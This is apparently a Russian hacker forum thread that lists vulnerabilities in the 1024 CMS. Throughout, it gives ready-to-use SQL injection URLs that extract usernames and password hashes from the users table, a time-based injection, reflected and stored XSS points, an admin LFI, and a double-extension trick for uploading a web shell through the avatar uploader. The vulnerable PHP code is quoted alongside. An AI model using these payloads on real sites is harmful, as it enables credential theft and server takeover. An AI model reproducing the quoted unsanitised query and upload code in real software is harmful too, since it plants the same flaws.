Сайт: www.1024cms.org Префикс таблиц по умолчанию: otatf_ Алгоритм хеширования: md5($pass) SQLiДвижок просто кишит инъекциями и другими уязвимостями. Кстати, он отказывается работать при register_globals=on, это видимо у них предосторожность такая...) Поскольку в противном случае число уязвимостей удвоится. В модуле форума: Code: http://localhost/1024/index.php?p=viewforum&id=1'+or+(select+count(*)+from+(select+1+union+select+2+union+select+3)x+group+by+concat((select+password+from+otatf_users+limit+0,1),floor(rand(0)*2)))--+ Уязвимая строчка в 1024\pages\viewforum\default\content.php: PHP: ... $get_cat_type = mysql_query("SELECT * FROM ".$prefix."subcats WHERE id='".$id."'") or die("Cannot get category type: ".mysql_error()); ... В RSS: //Плин, теперь нагуглил, что бага старая, но пусть будет Code: http://localhost/1024/rss.php?t=vp&id=1'+or+(select+count(*)+from+(select+1+union+select+2+union+select+3)x+group+by+concat((select+password+from+otatf_users+limit+0,1),floor(rand(0)*2)))--+ Уязвимый участок \1024\rss.php: PHP: ... else if ($_GET['t'] == "vp") { $topic_id = $_GET['id']; //Start RSS vars $items = array(); $channel = array(); //Get topic $get_tp = mysql_query("SELECT t.uid AS t_uid, t.title AS t_title, t.content AS t_content, t.date AS t_date, f.id AS f_id, f.name AS f_name, f.description AS f_descrip FROM ".$prefix."topics t, ".$prefix."subcats f WHERE t.id='".$topic_id."' AND f.id=t.tid") or die("Cannot get TP: ".mysql_error()); ... В различных служебных скриптах: //таких инъекций в этом движке, похоже, тучи, как и подобных скриптов Code: http://localhost/1024/pages/download/admin/ajax/sub/edit_sub_it.php?cat='+union+select+1,concat(username,0x3b,password)+from+otatf_users--+ Эта скуль очень приятная, запрос выполняется по циклу и выводятся все поля в теге <option>. Уязвимый код в \1024\pages\download\admin\ajax\sub\edit_sub_it.php: PHP: ... $get_cats = mysql_query("SELECT id, name FROM ".$prefix."downloadsub WHERE category='".$_GET['cat']."' ORDER BY weight ASC") or die("Cannot get cats: ".mysql_error()); ... <option value="<?php echo $cat['id']; ?>"><?php echo clean_smart($cat['name']); ?></option> ... Code: http://localhost/1024/pages/download/admin/ajax/sub/weight_sub.php?cat='+union+select+1,concat(username,0x3b,password),3+from+otatf_users--+ Такая же приятная скуль, выдаёт красивый список. Уязвимый код в \1024\pages\download\admin\ajax\sub\weight_sub.php: PHP: ... <?php $get_cat = mysql_query("SELECT id, name, weight FROM ".$prefix."downloadsub WHERE category='".$_GET['cat']."' ORDER BY weight ASC") or die("Cannot get forums: ".mysql_error()); while($cat = mysql_fetch_array($get_cat)) { ?> <li id="d_<?php echo $cat['id']; ?>"><?php echo $cat['name']; ?></li> <?php } ?> ... Code: http://localhost/1024/pages/download/admin/ajax/sub/edit_sub_do.php?name=1&type=1&descrip&id=1'+and+sleep(10)--+ Что-то в этой инъекции в UPDATE у меня вывод не получился, туплю где-то, можно перебором ломать, например, со SLEEP(). Уязвимый код в \1024\pages\download\admin\ajax\sub\edit_sub_do.php: PHP: ... mysql_query("UPDATE ".$prefix."downloadsub SET category='".$_GET['cat']."', name='".quote_smart($_GET['name'])."', description='".quote_smart($desc)."' WHERE id='".$_GET['id']."'") ... Кстати у них в этих админских скриптах весьма оригинальная защита от доступа несанкционированного: PHP: if($_SESSION['type'] !== '1' || $_GET['type'] !== '1') die("Incorrect Session"); Такая строчка там встречается очень часто, о чём думали разрабы, я не знаю. CEВ админке есть разные варианты заливки шелла, например, через файловый менеджер: Code: http://localhost/1024/admin/index.php?op=files
Code: echo "<br /><div align='center'><div class='plain_tables' style='width:90%; text-align:center'>".$_GET['confir']."</div></div>"; Пассивная XSS В скрипте pages\cinema\ajax .Чет заблудился в коде я...).Переменная вообще не фильтруется. ЗЫ: Рядом,кстати,красивый апдейтик в базу происходит...И длина строки передаваемой не фильтруется(а надо оно или нет не знаю).Можно забить базу чем-нибудь...Получится из этого что-нибудь ?) длина поля int(11)))) (выходит 44 байта максимум - 11 * 4) ЗЫЗЫ: всё-таки последнее - имхо глупость)
Забавную вещь нашёл в чате.Не знаю,даже,как назвать - двойная xss,активная+пассивная,в общем,бред)): http://localhost/1024/index.php?p=pm&t=send&u= Вбиваем что-нибудь в поле Recipient(необязательно) и лицезреем всё увеличивающиеся куски хтмл кода.В поле Message получаем XSS при ставновлении окна активным ) Сдаётся мне,дело в этом: PHP: <?php } if(isset($_GET['u']) && $_GET['u'] !== "") { ?> <script type="text/javascript"> setTimeout("givemeausername()", 1000); function givemeausername() { document.getElementById('autocomplete').value = "<?php echo $_GET['u']; ?>"; } setTimeout - функция ака таймер(или как системный таймер в NET),а задача любого такого таймера - выполнять процедуру в заданный промежуток времени ).Вот,она и выполняется - значению элемента с id autocomplete присваивается значение - как раз то,что мы передадим в GET переменной.В общем,весело .Всякий знает,что javascript можно менять на стороне клиента(жалею,что нету инструментов).Думаю,будет весело увидеть это со скоростью 10 мс ))))). Код будет как раз в исходниках: Code: <script type="text/javascript"> setTimeout("givemeausername()", 1000); function givemeausername() { document.getElementById('autocomplete').value = "ТУТ"; } </script>
Активка: Потом в профайле срабатывает. LFI: Под админом надо быть. PHP: if(!isset($_GET['op']) || trim($_GET['op']) == "") $page = "home"; else $page = $_GET['op']; strtolower($page); if(isset($_SESSION['admin']) || $page == 'login') { define("_AJAX_INCLUDE_", "./ops/".$page."/ajax/ajax.js"); include("./lang/".$lang."/".$page."/default.php"); Много искать не стал, на этом остановился
Пассивная XSS Скрипт: /admin/index.php Участок кода: PHP: if(isset($_SESSION['admin']) || $page == 'login') { define("_AJAX_INCLUDE_", "./ops/".$page."/ajax/ajax.js"); include("./lang/".$lang."/".$page."/default.php"); include("../includes/header.php"); include("./themes/".$admin_theme_dir."/templates/header.tpl"); include("./ops/".$page."/default.php"); include("./themes/".$admin_theme_dir."/templates/footer.tpl"); } [SIZE=2][COLOR=Red]else echo "<META http-equiv='refresh' content='0; URL=index.php?op=login&f=".urlencode($_SERVER['REQUEST_URI'])."'>"[/COLOR];[/SIZE] Заливка шелла через аватары: Скрипт: PHP: http://localhost/1024/admin/index.php?op=avatars Необходимо только сменить расширение файла на extension.evil ,где evil - расширение шелла,а extension - расширение файла,например,test.gif.php Warning: В некоторых местах аплоада пофиксено,но там есть XSS ). P.S.: Необходимы права админа. ЗЫ: Аватары хранятся в папке /images/avatars/ директории /1024 Остальное в пути ).За кривое оформление заранее извиняюсь,ибо не умею. Вот вся функция upload(),которая взаимодействует со скриптом аплоада аватара,кому интересно: PHP: function upload() { global $admin_theme_dir; if(!isset($_FILES['upload']) || trim($_FILES['upload']['tmp_name']) == "") echo "<meta http-equiv='refresh' content='0;URL=index.php?op=avatars'>"; else { echo "<div align='center'>"; include("../includes/classes/uploading.php"); $upload = $_FILES['upload']; $tmp_name = $_FILES['upload']['tmp_name']; $name = $_FILES['upload']['name']; $filepath = ""; if(is_uploaded_file($tmp_name)) { if($_FILES['upload']['error'] == UPLOAD_ERR_OK) { $path = "../images/avatars/"; if(!is_dir($path)) die("Cannot find path: ".$path); if(preg_match('(\.gif|\.png|\.jpg|\.jpeg)', $name)) { $name = $_FILES['upload']['name']; $filepath = $path.$name; if(file_exists($filepath)) die("Avatar already exists, rename the image and try again"); if(move_uploaded_file($tmp_name, $filepath)) { define("_REDIRECT_", "./index.php?op=avatars"); define("_CONTENT_", _CONFIRMED_); include("./themes/".$admin_theme_dir."/templates/successfulprocess.tpl"); } else die("Cannot upload file, please try again"); } else die("File Type not allowed. You can upload: .gif, .png, .jpg, .jpeg"); } else echo "ERROR:".file_error_check($_FILES['upload']['error']); } else die("Error uploading file"); } echo "</div>"; }
Sql injection Скрипт: PHP: http://1024/admin/ops/email/default.php Обиженный параметр: id.Буквально в каждой функции(add,reply и т.д.).Наверное,это объясняется тем,что фильтрация там не нужна...в плане того,что админ акками никто не бросается ). Активная XSS Не помню,в каком скрипте,где-то на индексной странице скрипта /admin/index.php Прописывать код там,где выводится надпись по умолчанию: Sorry our site is currently offline for maintenance